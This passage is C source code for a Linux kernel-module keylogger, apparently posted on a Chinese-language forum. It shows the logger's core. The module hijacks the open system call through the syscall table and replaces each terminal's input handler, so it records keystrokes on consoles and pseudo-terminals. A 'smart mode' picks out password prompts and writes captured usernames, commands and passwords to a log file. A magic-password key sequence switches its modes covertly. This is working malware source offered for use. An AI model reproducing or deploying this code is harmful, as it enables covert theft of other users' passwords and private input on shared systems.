  693.         struct task_struct *task;

  694.         if (vlogger_mode == VK_NORMAL)
  695.                 return;

  696.         if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont))
  697.                 return;
  698.                
  699.         task = get_task(tty->pgrp);
  700.                
  701.         for (i=0; i<tmp->lastpos; i++)
  702.                 if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A;

  703.         if (!cont)
  704.                 tmp->buf[tmp->lastpos++] = 0x0A;
  705.        
  706.         tmp->buf[tmp->lastpos] = 0;

  707.         if (vlogger_mode == VK_DUMBMODE) {
  708.                 snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
  709.                                 LOG_DIR, TTY_NAME(tty),        TTY_NUMBER(tty));
  710.                 BEGIN_ROOT
  711.                 if (!tmp->status) {
  712.                         get_time(date_time);
  713.                         if (task)
  714.                                 snprintf(loginfo, sizeof(loginfo)-1,
  715.                                         "<%s uid=%d %s> %s", date_time,
  716.                                         task->uid, task->comm, tmp->buf);
  717.                         else
  718.                                 snprintf(loginfo, sizeof(loginfo)-1,
  719.                                         "<%s> %s", date_time, tmp->buf);
  720.                        
  721.                         write_to_file(logfile, loginfo, strlen(loginfo));
  722.                 } else {
  723.                         write_to_file(logfile, tmp->buf, tmp->lastpos);
  724.                 }
  725.                 END_ROOT

  726. #ifdef DEBUG
  727.                 if (task)
  728.                         DPRINT("%s/%d uid=%d %s: %s",
  729.                                 TTY_NAME(tty), TTY_NUMBER(tty),
  730.                                 task->uid, task->comm, tmp->buf);
  731.                 else
  732.                         DPRINT("%s", tmp->buf);
  733. #endif
  734.                 tmp->status = cont;
  735.                
  736.         } else {

  737.                 /*
  738.                  *  Logging USER/CMD and PASS in SMART_MODE
  739.                  */

  740.                 BEGIN_ROOT
  741.                 if (!tmp->pass) {
  742.                         get_time(date_time);
  743.                         if (task)
  744.                                 snprintf(loginfo, sizeof(loginfo)-1,
  745.                                         "\n[%s tty=%s/%d uid=%d %s]\n"
  746.                                         "USER/CMD %s", date_time,
  747.                                         TTY_NAME(tty),TTY_NUMBER(tty),
  748.                                         task->uid, task->comm, tmp->buf);
  749.                         else
  750.                                 snprintf(loginfo, sizeof(loginfo)-1,
  751.                                         "\n[%s tty=%s/%d]\nUSER/CMD %s",
  752.                                         date_time, TTY_NAME(tty),
  753.                                         TTY_NUMBER(tty), tmp->buf);

  754.                         write_to_file(PASS_LOG, loginfo, strlen(loginfo));
  755.                 } else {
  756.                         snprintf(loginfo, sizeof(loginfo)-1, "PASS %s",
  757.                                         tmp->buf);
  758.                         write_to_file (PASS_LOG, loginfo, strlen(loginfo));
  759.                 }

  760.                 END_ROOT

  761. #ifdef DEBUG
  762.                 if (!tmp->pass)
  763.                         DPRINT("USER/CMD %s", tmp->buf);
  764.                 else
  765.                         DPRINT("PASS %s", tmp->buf);
  766. #endif
  767.         }

  768.         if (!cont) tmp->buf[--tmp->lastpos] = 0;
  769. }


  770. #define resetbuf(t)                \
  771. {                                \
  772.         t->buf[0] = 0;                \
  773.         t->lastpos = 0;                \
  774. }

  775. #define append_c(t, s, n)        \
  776. {                                \
  777.         t->lastpos += n;        \
  778.         strncat(t->buf, s, n);        \
  779. }

  780. static inline void reset_all_buf(void)
  781. {
  782.         int i = 0;
  783.         for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++)
  784.                 if (ttys[i] != NULL)
  785.                         resetbuf(ttys[i]);
  786. }

  787. void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
  788. {
  789.             switch(count) {
  790.             case 2:
  791.                         switch(cp[1]) {
  792.                         case '\'':
  793.                                 append_c(tmp, "[ALT-\']", 7);
  794.                                 break;
  795.                         case ',':
  796.                                 append_c(tmp, "[ALT-,]", 7);
  797.                                 break;
  798.                         case '-':
  799.                                 append_c(tmp, "[ALT--]", 7);
  800.                                 break;
  801.                         case '.':
  802.                                 append_c(tmp, "[ALT-.]", 7);
  803.                                 break;
  804.                         case '/':
  805.                                 append_c(tmp, "[ALT-/]", 7);
  806.                                 break;
  807.                         case '0':
  808.                                 append_c(tmp, "[ALT-0]", 7);
  809.                                 break;
  810.                         case '1':
  811.                                 append_c(tmp, "[ALT-1]", 7);
  812.                                 break;
  813.                         case '2':
  814.                                 append_c(tmp, "[ALT-2]", 7);
  815.                                 break;
  816.                         case '3':
  817.                                 append_c(tmp, "[ALT-3]", 7);
  818.                                 break;
  819.                         case '4':
  820.                                 append_c(tmp, "[ALT-4]", 7);
  821.                                 break;
  822.                         case '5':
  823.                                 append_c(tmp, "[ALT-5]", 7);
  824.                                 break;
  825.                         case '6':
  826.                                 append_c(tmp, "[ALT-6]", 7);
  827.                                 break;
  828.                         case '7':
  829.                                 append_c(tmp, "[ALT-7]", 7);
  830.                                 break;
  831.                         case '8':
  832.                                 append_c(tmp, "[ALT-8]", 7);
  833.                                 break;
  834.                         case '9':
  835.                                 append_c(tmp, "[ALT-9]", 7);
  836.                                 break;
  837.                         case ';':
  838.                                 append_c(tmp, "[ALT-;]", 7);
  839.                                 break;
  840.                         case '=':
  841.                                 append_c(tmp, "[ALT-=]", 7);
  842.                                 break;
  843.                         case '[':
  844.                                 append_c(tmp, "[ALT-[]", 7);
  845.                                 break;
  846.                         case '\\':
  847.                                 append_c(tmp, "[ALT-\\]", 7);
  848.                                 break;
  849.                         case ']':
  850.                                 append_c(tmp, "[ALT-]]", 7);
  851.                                 break;
  852.                         case '`':
  853.                                 append_c(tmp, "[ALT-`]", 7);
  854.                                 break;
  855.                         case 'a':
  856.                                 append_c(tmp, "[ALT-A]", 7);
  857.                                 break;
  858.                         case 'b':
  859.                                 append_c(tmp, "[ALT-B]", 7);
  860.                                 break;
  861.                         case 'c':
  862.                                 append_c(tmp, "[ALT-C]", 7);
  863.                                 break;
  864.                         case 'd':
  865.                                 append_c(tmp, "[ALT-D]", 7);
  866.                                 break;
  867.                         case 'e':
  868.                                 append_c(tmp, "[ALT-E]", 7);
  869.                                 break;
  870.                         case 'f':
  871.                                 append_c(tmp, "[ALT-F]", 7);
  872.                                 break;
  873.                         case 'g':
  874.                                 append_c(tmp, "[ALT-G]", 7);
  875.                                 break;
  876.                         case 'h':
  877.                                 append_c(tmp, "[ALT-H]", 7);
  878.                                 break;
  879.                         case 'i':
  880.                                 append_c(tmp, "[ALT-I]", 7);
  881.                                 break;
  882.                         case 'j':
  883.                                 append_c(tmp, "[ALT-J]", 7);
  884.                                 break;
  885.                         case 'k':
  886.                                 append_c(tmp, "[ALT-K]", 7);
  887.                                 break;
  888.                         case 'l':
  889.                                 append_c(tmp, "[ALT-L]", 7);
  890.                                 break;
  891.                         case 'm':
  892.                                 append_c(tmp, "[ALT-M]", 7);
  893.                                 break;
  894.                         case 'n':
  895.                                 append_c(tmp, "[ALT-N]", 7);
  896.                                 break;
  897.                         case 'o':
  898.                                 append_c(tmp, "[ALT-O]", 7);
  899.                                 break;
  900.                         case 'p':
  901.                                 append_c(tmp, "[ALT-P]", 7);
  902.                                 break;
  903.                         case 'q':
  904.                                 append_c(tmp, "[ALT-Q]", 7);
  905.                                 break;
  906.                         case 'r':
  907.                                 append_c(tmp, "[ALT-R]", 7);
  908.                                 break;
  909.                         case 's':
  910.                                 append_c(tmp, "[ALT-S]", 7);
  911.                                 break;
  912.                         case 't':
  913.                                 append_c(tmp, "[ALT-T]", 7);
  914.                                 break;
  915.                         case 'u':
  916.                                 append_c(tmp, "[ALT-U]", 7);
  917.                                 break;
  918.                         case 'v':
  919.                                 append_c(tmp, "[ALT-V]", 7);
  920.                                 break;
  921.                         case 'x':
  922.                                 append_c(tmp, "[ALT-X]", 7);
  923.                                 break;
  924.                         case 'y':
  925.                                 append_c(tmp, "[ALT-Y]", 7);
  926.                                 break;
  927.                         case 'z':
  928.                                 append_c(tmp, "[ALT-Z]", 7);
  929.                                 break;
  930.                 }
  931.                 break;
  932.             case 3:
  933.                 switch(cp[2]) {
  934.                         case 68:
  935.                                 // Left: 27 91 68
  936.                                 append_c(tmp, "[align=LEFT]", 6);
  937.                                 break;
  938.                         case 67:
  939.                                 // Right: 27 91 67
  940.                                 append_c(tmp, "[align=RIGHT]", 7);
  941.                                 break;
  942.                         case 65:
  943.                                 // Up: 27 91 65
  944.                                 append_c(tmp, "[UP]", 4);
  945.                                 break;
  946.                         case 66:
  947.                                 // Down: 27 91 66
  948.                                 append_c(tmp, "[DOWN]", 6);
  949.                                 break;
  950.                         case 80:
  951.                                 // Pause/Break: 27 91 80
  952.                                 append_c(tmp, "[BREAK]", 7);
  953.                                 break;
  954.                 }
  955.                 break;
  956.             case 4:
  957.                 switch(cp[3]) {
  958.                         case 65:
  959.                                 // F1: 27 91 91 65
  960.                                 append_c(tmp, "[F1]", 4);
  961.                                 break;
  962.                         case 66:
  963.                                 // F2: 27 91 91 66
  964.                                 append_c(tmp, "[F2]", 4);
  965.                                 break;
  966.                         case 67:
  967.                                 // F3: 27 91 91 67
  968.                                 append_c(tmp, "[F3]", 4);
  969.                                 break;
  970.                         case 68:
  971.                                 // F4: 27 91 91 68
  972.                                 append_c(tmp, "[F4]", 4);
  973.                                 break;
  974.                         case 69:
  975.                                 // F5: 27 91 91 69
  976.                                 append_c(tmp, "[F5]", 4);
  977.                                 break;
  978.                         case 126:
  979.                                 switch(cp[2]) {
  980.                                         case 53:
  981.                                                 // PgUp: 27 91 53 126
  982.                                                 append_c(tmp, "[PgUP]", 6);
  983.                                                 break;
  984.                                         case 54:
  985.                                                 // PgDown: 27 91 54 126
  986.                                                 append_c(tmp,
  987.                                                         "[PgDOWN]", 8);
  988.                                                 break;
  989.                                         case 49:
  990.                                                 // Home: 27 91 49 126
  991.                                                 append_c(tmp, "[HOME]", 6);
  992.                                                 break;
  993.                                         case 52:
  994.                                                 // End: 27 91 52 126
  995.                                                 append_c(tmp, "[END]", 5);
  996.                                                 break;
  997.                                         case 50:
  998.                                                 // Insert: 27 91 50 126
  999.                                                 append_c(tmp, "[INS]", 5);
  1000.                                                 break;
  1001.                                         case 51:
  1002.                                                 // Delete: 27 91 51 126
  1003.                                                 append_c(tmp, "[DEL]", 5);
  1004.                                                 break;
  1005.                                 }
  1006.                         break;
  1007.                 }
  1008.                 break;
  1009.             case 5:
  1010.                 if(cp[2] == 50)
  1011.                         switch(cp[3]) {
  1012.                                 case 48:
  1013.                                         // F9: 27 91 50 48 126
  1014.                                         append_c(tmp, "[F9]", 4);
  1015.                                         break;
  1016.                                 case 49:
  1017.                                         // F10: 27 91 50 49 126
  1018.                                         append_c(tmp, "[F10]", 5);
  1019.                                         break;
  1020.                                 case 51:
  1021.                                         // F11: 27 91 50 51 126
  1022.                                         append_c(tmp, "[F11]", 5);
  1023.                                         break;
  1024.                                 case 52:
  1025.                                         // F12: 27 91 50 52 126
  1026.                                         append_c(tmp, "[F12]", 5);
  1027.                                         break;
  1028.                                 case 53:
  1029.                                         // Shift-F1: 27 91 50 53 126
  1030.                                         append_c(tmp, "[SH-F1]", 7);
  1031.                                         break;
  1032.                                 case 54:
  1033.                                         // Shift-F2: 27 91 50 54 126
  1034.                                         append_c(tmp, "[SH-F2]", 7);
  1035.                                         break;
  1036.                                 case 56:
  1037.                                         // Shift-F3: 27 91 50 56 126
  1038.                                         append_c(tmp, "[SH-F3]", 7);
  1039.                                         break;
  1040.                                 case 57:
  1041.                                         // Shift-F4: 27 91 50 57 126
  1042.                                         append_c(tmp, "[SH-F4]", 7);
  1043.                                         break;
  1044.                         }
  1045.                 else
  1046.                         switch(cp[3]) {
  1047.                                 case 55:
  1048.                                         // F6: 27 91 49 55 126
  1049.                                         append_c(tmp, "[F6]", 4);
  1050.                                         break;
  1051.                                      case 56:
  1052.                                         // F7: 27 91 49 56 126
  1053.                                         append_c(tmp, "[F7]", 4);
  1054.                                         break;
  1055.                                      case 57:
  1056.                                         // F8: 27 91 49 57 126
  1057.                                         append_c(tmp, "[F8]", 4);
  1058.                                         break;
  1059.                                      case 49:
  1060.                                         // Shift-F5: 27 91 51 49 126
  1061.                                         append_c(tmp, "[SH-F5]", 7);
  1062.                                         break;
  1063.                                      case 50:
  1064.                                         // Shift-F6: 27 91 51 50 126
  1065.                                         append_c(tmp, "[SH-F6]", 7);
  1066.                                         break;
  1067.                                      case 51:
  1068.                                         // Shift-F7: 27 91 51 51 126
  1069.                                         append_c(tmp, "[SH-F7]", 7);
  1070.                                         break;
  1071.                                      case 52:
  1072.                                         // Shift-F8: 27 91 51 52 126
  1073.                                         append_c(tmp, "[SH-F8]", 7);
  1074.                                         break;
  1075.                         };
  1076.                 break;
  1077.             default:        // Unknow
  1078.                 break;
  1079.     }
  1080. }


  1081. /*
  1082. *  Called whenever user press a key
  1083. */

  1084. void vlogger_process(struct tty_struct *tty,
  1085.                         const unsigned char *cp, int count)
  1086. {
  1087.         struct tlogger *tmp = ttys[TTY_INDEX(tty)];

  1088.         if (!tmp) {
  1089.                 DPRINT("erm .. unknow error???\n");
  1090.                 init_tty(tty, TTY_INDEX(tty));
  1091.                 tmp = ttys[TTY_INDEX(tty)];
  1092.                 if (!tmp)
  1093.                         return;
  1094.         }

  1095.         if (vlogger_mode == VK_SMARTMODE) {
  1096.                 if (tmp->status && !IS_PASSWD(tty)) {
  1097.                         resetbuf(tmp);
  1098.                 }               
  1099.                 if (!tmp->pass && IS_PASSWD(tty)) {
  1100.                         logging(tty, tmp, 0);
  1101.                         resetbuf(tmp);
  1102.                 }
  1103.                 if (tmp->pass && !IS_PASSWD(tty)) {
  1104.                         if (!tmp->lastpos)
  1105.                                 logging(tty, tmp, 0);
  1106.                         resetbuf(tmp);
  1107.                 }
  1108.                 tmp->pass  = IS_PASSWD(tty);
  1109.                 tmp->status = 0;
  1110.         }

  1111.         if ((count + tmp->lastpos) > MAX_BUFFER - 1) {       
  1112.                 logging(tty, tmp, 1);
  1113.                 resetbuf(tmp);
  1114.         }

  1115.         if (count == 1) {
  1116.                 if (cp[0] == VK_TOGLE_CHAR) {
  1117.                         if (!strcmp(tmp->buf, MAGIC_PASS)) {
  1118.                                 if(vlogger_mode < 2)
  1119.                                         vlogger_mode++;
  1120.                                 else
  1121.                                         vlogger_mode = 0;
  1122.                                 reset_all_buf();

  1123.                                 switch(vlogger_mode) {
  1124.                                         case VK_DUMBMODE:
  1125.                                                     DPRINT("Dumb Mode\n");
  1126.                                                 TTY_WRITE(tty, "\r\n"
  1127.                                                     "Dumb Mode\n", 12);
  1128.                                                 break;
  1129.                                         case VK_SMARTMODE:
  1130.                                                     DPRINT("Smart Mode\n");
  1131.                                                 TTY_WRITE(tty, "\r\n"
  1132.                                                 "Smart Mode\n", 13);
  1133.                                                 break;
  1134.                                         case VK_NORMAL:
  1135.                                                     DPRINT("Normal Mode\n");
  1136.                                                 TTY_WRITE(tty, "\r\n"
  1137.                                                 "Normal Mode\n", 14);
  1138.                                 }
  1139.                         }
  1140.                 }

  1141.                 switch (cp[0]) {
  1142.                         case 0x01:        //^A
  1143.                                 append_c(tmp, "[^A]", 4);
  1144.                                 break;
  1145.                         case 0x02:        //^B
  1146.                                 append_c(tmp, "[^B]", 4);
  1147.                                 break;
  1148.                         case 0x03:        //^C
  1149.                                 append_c(tmp, "[^C]", 4);
  1150.                         case 0x04:        //^D
  1151.                                 append_c(tmp, "[^D]", 4);
  1152.                         case 0x0D:        //^M
  1153.                         case 0x0A:
  1154.                                 if (vlogger_mode == VK_SMARTMODE) {
  1155.                                         if (IS_PASSWD(tty)) {
  1156.                                                 logging(tty, tmp, 0);
  1157.                                                 resetbuf(tmp);
  1158.                                         } else
  1159.                                                 tmp->status = 1;
  1160.                                 } else {
  1161.                                         logging(tty, tmp, 0);
  1162.                                         resetbuf(tmp);
  1163.                                 }
  1164.                                 break;
  1165.                         case 0x05:        //^E
  1166.                                 append_c(tmp, "[^E]", 4);
  1167.                                 break;
  1168.                         case 0x06:        //^F
  1169.                                 append_c(tmp, "[^F]", 4);
  1170.                                 break;
  1171.                         case 0x07:        //^G
  1172.                                 append_c(tmp, "[^G]", 4);
  1173.                                 break;
  1174.                         case 0x09:        //TAB - ^I
  1175.                                 append_c(tmp, "[TAB]", 5);
  1176.                                 break;
  1177.                         case 0x0b:        //^K
  1178.                                 append_c(tmp, "[^K]", 4);
  1179.                                 break;
  1180.                         case 0x0c:        //^L
  1181.                                 append_c(tmp, "[^L]", 4);
  1182.                                 break;
  1183.                         case 0x0e:        //^E
  1184.                                 append_c(tmp, "[^E]", 4);
  1185.                                 break;
  1186.                         case 0x0f:        //^O
  1187.                                 append_c(tmp, "[^O]", 4);
  1188.                                 break;
  1189.                         case 0x10:        //^P
  1190.                                 append_c(tmp, "[^P]", 4);
  1191.                                 break;
  1192.                         case 0x11:        //^Q
  1193.                                 append_c(tmp, "[^Q]", 4);
  1194.                                 break;
  1195.                         case 0x12:        //^R
  1196.                                 append_c(tmp, "[^R]", 4);
  1197.                                 break;
  1198.                         case 0x13:        //^S
  1199.                                 append_c(tmp, "[^S]", 4);
  1200.                                 break;
  1201.                         case 0x14:        //^T
  1202.                                 append_c(tmp, "[^T]", 4);
  1203.                                 break;
  1204.                         case 0x15:        //CTRL-U
  1205.                                 resetbuf(tmp);
  1206.                                 break;                               
  1207.                         case 0x16:        //^V
  1208.                                 append_c(tmp, "[^V]", 4);
  1209.                                 break;
  1210.                         case 0x17:        //^W
  1211.                                 append_c(tmp, "[^W]", 4);
  1212.                                 break;
  1213.                         case 0x18:        //^X
  1214.                                 append_c(tmp, "[^X]", 4);
  1215.                                 break;
  1216.                         case 0x19:        //^Y
  1217.                                 append_c(tmp, "[^Y]", 4);
  1218.                                 break;
  1219.                         case 0x1a:        //^Z
  1220.                                 append_c(tmp, "[^Z]", 4);
  1221.                                 break;
  1222.                         case 0x1c:        //^\
  1223.                                 append_c(tmp, "[^\\]", 4);
  1224.                                 break;
  1225.                         case 0x1d:        //^]
  1226.                                 append_c(tmp, "[^]]", 4);
  1227.                                 break;
  1228.                         case 0x1e:        //^^
  1229.                                 append_c(tmp, "[^^]", 4);
  1230.                                 break;
  1231.                         case 0x1f:        //^_
  1232.                                 append_c(tmp, "[^_]", 4);
  1233.                                 break;
  1234.                         case BACK_SPACE_CHAR1:
  1235.                         case BACK_SPACE_CHAR2:
  1236.                                 if (!tmp->lastpos) break;
  1237.                                 if (tmp->buf[tmp->lastpos-1] != ']')
  1238.                                         tmp->buf[--tmp->lastpos] = 0;
  1239.                                 else {
  1240.                                         append_c(tmp, "[^H]", 4);
  1241.                                 }
  1242.                                 break;
  1243.                         case ESC_CHAR:        //ESC
  1244.                                 append_c(tmp, "[ESC]", 5);
  1245.                                 break;
  1246.                         default:
  1247.                                 tmp->buf[tmp->lastpos++] = cp[0];
  1248.                                 tmp->buf[tmp->lastpos] = 0;
  1249.                 }
  1250.         } else {        // a block of chars or special key
  1251.                 if (cp[0] != ESC_CHAR) {
  1252.                         while (count >= MAX_BUFFER) {
  1253.                                 append_c(tmp, cp, MAX_BUFFER);
  1254.                                 logging(tty, tmp, 1);
  1255.                                 resetbuf(tmp);
  1256.                                 count -= MAX_BUFFER;
  1257.                                 cp += MAX_BUFFER;
  1258.                         }

  1259.                         append_c(tmp, cp, count);
  1260.                 } else         // special key
  1261.                         special_key(tmp, cp, count);
  1262.         }
  1263. }


  1264. void my_tty_open(void)
  1265. {
  1266.         int fd, i;
  1267.         char dev_name[80];

  1268. #ifdef LOCAL_ONLY
  1269.         int fl = 0;
  1270.         struct tty_struct * tty;
  1271.         struct file * file;
  1272. #endif

  1273.         for (i=1; i<MAX_TTY_CON; i++) {
  1274.                 snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);

  1275.                 BEGIN_KMEM
  1276.                         fd = open(dev_name, O_RDONLY, 0);
  1277.                         if (fd < 0) continue;

  1278. #ifdef LOCAL_ONLY
  1279.                         file = fget(fd);
  1280.                         tty = file->private_data;
  1281.                         if (tty != NULL  &&
  1282.                                 tty->ldisc.receive_buf != NULL) {
  1283.                                 if (!fl) {
  1284.                                         old_receive_buf =
  1285.                                                 tty->ldisc.receive_buf;
  1286.                                         fl = 1;
  1287.                                 }
  1288.                                 init_tty(tty, TTY_INDEX(tty));
  1289.                         }
  1290.                         fput(file);
  1291. #endif

  1292.                         close(fd);
  1293.                 END_KMEM
  1294.         }

  1295. #ifndef LOCAL_ONLY
  1296.         for (i=0; i<MAX_PTS_CON; i++) {
  1297.                 snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);

  1298.                 BEGIN_KMEM
  1299.                         fd = open(dev_name, O_RDONLY, 0);
  1300.                         if (fd >= 0) close(fd);
  1301.                 END_KMEM
  1302.         }
  1303. #endif

  1304. }


  1305. void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
  1306.                                                 char *fp, int count)
  1307. {
  1308.         if (!tty->real_raw && !tty->raw)        // ignore raw mode
  1309.                 vlogger_process(tty, cp, count);
  1310.         (*old_receive_buf)(tty, cp, fp, count);
  1311. }


  1312. static inline void init_tty(struct tty_struct *tty, int tty_index)
  1313. {
  1314.         struct tlogger *tmp;

  1315.         DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty));

  1316.         if (ttys[tty_index] == NULL) {
  1317.                 tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
  1318.                 if (!tmp) {
  1319.                         DPRINT("kmalloc failed!\n");
  1320.                         return;
  1321.                 }
  1322.                 memset(tmp, 0, sizeof(struct tlogger));
  1323.                 tmp->tty = tty;
  1324.                 tty->ldisc.receive_buf = new_receive_buf;
  1325.                 ttys[tty_index] = tmp;
  1326.         } else {
  1327.                 tmp = ttys[tty_index];
  1328.                 logging(tty, tmp, 1);
  1329.                 resetbuf(tmp);
  1330.                 tty->ldisc.receive_buf = new_receive_buf;
  1331.         }
  1332. }


  1333. asmlinkage int new_sys_open(const char *filename, int flags, int mode)
  1334. {
  1335.         int ret;
  1336.         static int fl = 0;
  1337.         struct file * file;
  1338.        
  1339.         ret = (*original_sys_open)(filename, flags, mode);
  1340.        
  1341.         if (ret >= 0) {
  1342.                 struct tty_struct * tty;

  1343.             BEGIN_KMEM
  1344.                     lock_kernel();
  1345.                 file = fget(ret);
  1346.                 tty = file->private_data;

  1347.                 if (tty != NULL &&
  1348.                         ((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE &&
  1349.                         TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) ||
  1350.                         (tty->driver.type == TTY_DRIVER_TYPE_PTY &&
  1351.                         tty->driver.subtype == PTY_TYPE_SLAVE &&
  1352.                         TTY_NUMBER(tty) < MAX_PTS_CON)) &&
  1353.                         tty->ldisc.receive_buf != NULL &&
  1354.                         tty->ldisc.receive_buf != new_receive_buf) {

  1355.                         if (!fl) {
  1356.                                 old_receive_buf = tty->ldisc.receive_buf;
  1357.                                 fl = 1;
  1358.                         }
  1359.                         init_tty(tty, TTY_INDEX(tty));
  1360.                 }
  1361.                 fput(file);
  1362.                 unlock_kernel();
  1363.             END_KMEM
  1364.         }
  1365.         return ret;
  1366. }


  1367. int init_module(void)
  1368. {

  1369.         DPRINT(MVERSION);
  1370. #ifndef LOCAL_ONLY
  1371.         original_sys_open = sys_call_table[__NR_open];
  1372.         sys_call_table[__NR_open] = new_sys_open;
  1373. #endif
  1374.         my_tty_open();
  1375. //        MOD_INC_USE_COUNT;

  1376.         return 0;
  1377. }

  1378. DECLARE_WAIT_QUEUE_HEAD(wq);

  1379. void cleanup_module(void)
  1380. {
  1381.         int i;

  1382. #ifndef LOCAL_ONLY
  1383.         sys_call_table[__NR_open] = original_sys_open;
  1384. #endif

  1385.         for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
  1386.                 if (ttys[i] != NULL) {
  1387.                         ttys[i]->tty->ldisc.receive_buf = old_receive_buf;
  1388.                 }
  1389.         }
  1390.         sleep_on_timeout(&wq, HZ);
  1391.         for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
  1392.                 if (ttys[i] != NULL) {
  1393.                         kfree(ttys[i]);
  1394.                 }
  1395.         }
  1396.         DPRINT("Unloaded\n");
  1397. }
复制代码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表